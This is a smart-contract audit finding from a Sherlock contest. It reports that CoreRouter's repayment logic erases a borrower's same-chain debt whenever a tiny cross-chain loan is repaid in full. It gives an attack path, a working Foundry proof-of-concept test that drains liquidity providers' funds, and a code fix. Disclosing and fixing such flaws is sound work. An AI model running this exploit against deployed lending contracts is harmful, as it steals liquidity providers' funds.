Energetic Chocolate Weasel

High

# Malicious user can steal `CoreRouter` liquidity, resulting in LPs unable to fully withdraw their supplied liquidity

### Summary

When a cross-chain debt is fully repaid, `CoreRouter::repayBorrowInternal` extinguishes both the user's cross-chain debt and same-chain debt. A malicious user can simultaneously create a large same-chain borrow and a small cross-chain borrow. Then, the malicious user fully repays the small cross-chain borrow to extinguish their cross-chain debt and simultaneously extinguish their large same-chain debt without repayment, effectively stealing liquidity from the `CoreRouter`. This causes LPs to be unable to fully withdraw their supplied liquidity.

### Vulnerability Details
When a user creates a same-chain borrow (`CoreRouter::borrow`), the debt is recorded in `LendStorage::borrowBalance` and `LendStorage::userBorrowedAssets`.

When a user creates a cross-chain borrow (`CrossChainRouter::borrowCrossChain`), the debt is recorded in `LendStorage::crossChainBorrows` in the source chain and `LendStorage::crossChainCollaterals` in the destination chain.

When a user fully repays a cross-chain borrow (`CrossChainRouter::repayCrossChainBorrow`), the cross-chain debt is fully extinguished (`LendStorage::crossChainBorrows` and `LendStorage::crossChainCollaterals`). However, the same-chain debt is also fully extinguished (`LendStorage::borrowBalance` and `LendStorage::userBorrowedAssets`).

Simplified call trace of fully repaying a cross-chain borrow:
1. `CrossChainRouter::repayCrossChainBorrow`
2. `CrossChainRouter::repayCrossChainBorrowInternal`
3. `CrossChainRouter::_handleRepayment`
4. `CoreRouter::repayCrossChainLiquidation`
5. `CoreRouter::repayBorrowInternal`
6. `LendStorage::removeBorrowBalance`           <@ deletes user's same-chain borrow (`LendStorage::borrowBalance`)
7. `LendStorage::removeUserBorrowedAsset`       <@ removes user's same-chain borrow (`LendStorage::userBorrowedAssets`)
8. `CrossChainRouter::_updateRepaymentState`
9. `LendStorage::removeCrossChainCollateral`    <@ removes user's cross-chain borrow (`LendStorage::crossChainCollaterals`)
10. `CrossChainRouter::_send`
11. `CrossChainRouter::_lzReceive`
12. `CrossChainRouter::_handleDestRepayMessage`
13. `LendStorage::removeCrossChainBorrow`       <@ removes user's cross-chain borrow (`LendStorage::crossChainBorrows`)

Malicious user can exploit this vulnerability by simultaneously creating a large same-chain borrow and a small cross-chain borrow. Then, the malicious user fully repays the small cross-chain borrow to extinguish their cross-chain debt. This also causes the malicious user's large same-chain debt to also be extinguished without repayment, effectively stealing liquidity from the `CoreRouter`.

### Root Cause

In [`CoreRouter::repayBorrowInternal#L493-L496`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L493-L496), `LendStorage::borrowBalance` and `LendStorage::userBorrowedAssets` (same-chain borrow debt records) are deleted and removed upon full debt repayment without checking if the repayment is made for a same-chain borrow. Hence, if a cross-chain borrow is fully repaid, the same-chain borrow debt is also extinguished.

[`CoreRouter::repayBorrowInternal#L493-L496`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L493-L496)
```javascript
        if (repayAmountFinal == borrowedAmount) {
            lendStorage.removeBorrowBalance(borrower, _lToken);
            lendStorage.removeUserBorrowedAsset(borrower, _lToken);
        } else {
```

### Internal Pre-conditions

1. On chainB, liquidity providers (LP) needs to call `CoreRouter::supply` to provide token liquidity for users to borrow

### External Pre-conditions

None

### Attack Path

1a. On chainA, malicious user calls `CoreRouter::supply` to supply collateral (`tokenA1`) to `coreRouterA`. \
1b. On chainB, malicious user calls `CoreRouter::supply` to supply collateral (`tokenB1`) to `coreRouterB`. \
2 . On chainB, malicious user calls `CoreRouter::borrow` to borrow large amounts of tokens (`tokenB2`) on chainB backed by `tokenB1` collateral on chainB (same-chain borrow). \
3 . On chainA, malicious user calls `CrossChainRouter::borrowCrossChain` to borrow small amount (1 wei) of tokens (`tokenB2`) on chainB backed by `tokenA1` collateral on chainA (cross-chain borrow). \
4a. On chainB, malicious user calls `CrossChainRouter::repayCrossChainBorrow` to fully repay the small cross-chain debt of `tokenB2`. \
4b. This extinguishes the malicious user's small cross-chain borrow debt. \
4c. This also extinguishes the malicious user's large same-chain borrow debt. \
5a. On chainA, malicious user calls `CoreRouter::redeem` to withdraw their `tokenA1` collateral from chainA. \
5b. On chainB, malicious user calls `CoreRouter::redeem` to withdraw their `tokenB1` collateral from chainB. \
5c. Malicious user profits the `tokenB2` from the large same-chain borrow in step 2. \
6 . On chainB, LP calls `CoreRouter::redeem` to fully withdraw their supplied `tokenB2` liquidity, but reverts. 

### Impact

1. Malicious user gains the additional `tokenB2` from the large same-chain borrow in attack path step 2.
2. LPs cannot withdraw their supplied `tokenB2` liquidity.

### PoC

Place the following into `test/TestBorrowingCrossChain.t.sol` and run 
> forge test --mt testUserCanStealCoreRouterLiquidity

```javascript
    address LP = makeAddr("LP");
    address user = makeAddr("user");
    address tokenA1;
    address lTokenA1;
    address tokenA2;
    address lTokenA2;
    address tokenB1;
    address lTokenB1;
    address tokenB2;
    address lTokenB2;
    function testUserCanStealCoreRouterLiquidity() public {
        uint256 liquidity = 10e18;
        uint256 amountLargeBorrow = 7e18;
        uint256 amountSmallBorrow = 1;
        uint256 amountToSupply = 10e18;
        LendStorage.Borrow[] memory userCrossChainCollaterals;
        tokenA1 = supportedTokensA[0];
        lTokenA1 = lendStorageA.underlyingTolToken(tokenA1);
        tokenA2 = supportedTokensA[1];
        lTokenA2 = lendStorageA.underlyingTolToken(tokenA2);
        tokenB2 = lendStorageA.underlyingToDestUnderlying(tokenA2, CHAIN_B_ID);
        lTokenB2 = lendStorageB.underlyingTolToken(tokenB2);
        tokenB1 = supportedTokensB[0];
        lTokenB1 = lendStorageB.underlyingTolToken(tokenB1);

        // 0. Setup
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);
        vm.deal(address(routerB), 1 ether);
        // LPs supply some token liquidity for user to borrow
        ERC20Mock(tokenB2).mint(LP, liquidity);
        vm.startPrank(LP);
        IERC20(tokenB2).approve(address(coreRouterB), liquidity);
        coreRouterB.supply(liquidity, tokenB2);
        vm.stopPrank();
        // Mint user some tokens to use as collateral
        ERC20Mock(tokenA1).mint(user, amountToSupply);
        ERC20Mock(tokenB1).mint(user, amountToSupply);
        uint256 userTokenA1BalanceBefore = IERC20(tokenA1).balanceOf(user);
        uint256 userTokenB1BalanceBefore = IERC20(tokenB1).balanceOf(user);

        // 1. User supplies collateral, tokenA1 to chainA and tokenB1 to chainB
        vm.startPrank(user);
        IERC20(tokenA1).approve(address(coreRouterA), amountToSupply);
        coreRouterA.supply(amountToSupply, tokenA1);
        IERC20(tokenB1).approve(address(coreRouterB), amountToSupply);
        coreRouterB.supply(amountToSupply, tokenB1);
        vm.stopPrank();

        // 2. User borrows tokens (tokenB2) in chainB using chainB collateral (tokenB1) (same chain borrow)
        vm.prank(user);
        coreRouterB.borrow(amountLargeBorrow, tokenB2);
        assertEq(IERC20(tokenB2).balanceOf(user), amountLargeBorrow);
        
        // 3. User borrows tokens (tokenB2) in chainB using chainA collateral (tokenA1) (cross chain borrow)
        vm.prank(user);
        routerA.borrowCrossChain(amountSmallBorrow, tokenA2, CHAIN_B_ID);
        assertEq(IERC20(tokenB2).balanceOf(user), amountSmallBorrow + amountLargeBorrow);

        // 4. User repays cross chain borrow
        uint32 _srcEid = 31337;
        vm.startPrank(user);
        IERC20(tokenB2).approve(address(coreRouterB), amountSmallBorrow);
        routerB.repayCrossChainBorrow(user, amountSmallBorrow, lTokenB2, _srcEid);
        vm.stopPrank();
        // User's cross chain borrow debt is extinguished
        userCrossChainCollaterals = lendStorageB.getCrossChainCollaterals(user, tokenB2);
        assertEq(userCrossChainCollaterals.length, 0);
        // User's same chain borrow debt is also extinguished
        LendStorage.BorrowMarketState memory userSameChainBorrow = lendStorageB.getBorrowBalance(user, lTokenB2);
        assertEq(userSameChainBorrow.amount, 0);

        // 5. User withdraws their collateral (from chainA and chainB) without issue
        vm.startPrank(user);
        uint256 userlTokenA1Balance = lendStorageA.totalInvestment(user, lTokenA1);
        uint256 userlTokenB1Balance = lendStorageB.totalInvestment(user, lTokenB1);
        coreRouterA.redeem(userlTokenA1Balance, payable(address(lTokenA1)));
        coreRouterB.redeem(userlTokenB1Balance, payable(address(lTokenB1)));
        vm.stopPrank();
        // User retains the collateral before the attack
        assertEq(IERC20(tokenA1).balanceOf(user), userTokenA1BalanceBefore);
        assertEq(IERC20(tokenB1).balanceOf(user), userTokenB1BalanceBefore);
        // User profits the additional tokens (tokenB2) from the same chain borrow in step 2 
        assertEq(IERC20(tokenB2).balanceOf(user), amountLargeBorrow);
        
        // 6. LPs cannot withdraw the liquidity provided despite having no debt
        uint256 LPlTokenB2Balance = lendStorageB.totalInvestment(LP, lTokenB2);
        vm.prank(LP);
        vm.expectRevert();
        coreRouterB.redeem(LPlTokenB2Balance, payable(address(lTokenB2)));
    }
```

### Mitigation

`CoreRouter::repayBorrowInternal` should only update same-chain borrow debt records if the repayment is made on the same-chain.

`CoreRouter::repayBorrowInternal`
```diff
+   if(_isSameChain) {
        if (repayAmountFinal == borrowedAmount) {
            lendStorage.removeBorrowBalance(borrower, _lToken);
            lendStorage.removeUserBorrowedAsset(borrower, _lToken);
        } else {
            lendStorage.updateBorrowBalance(
                borrower, _lToken, borrowedAmount - repayAmountFinal, LTokenInterface(_lToken).borrowIndex()
            );
        }
+   }
```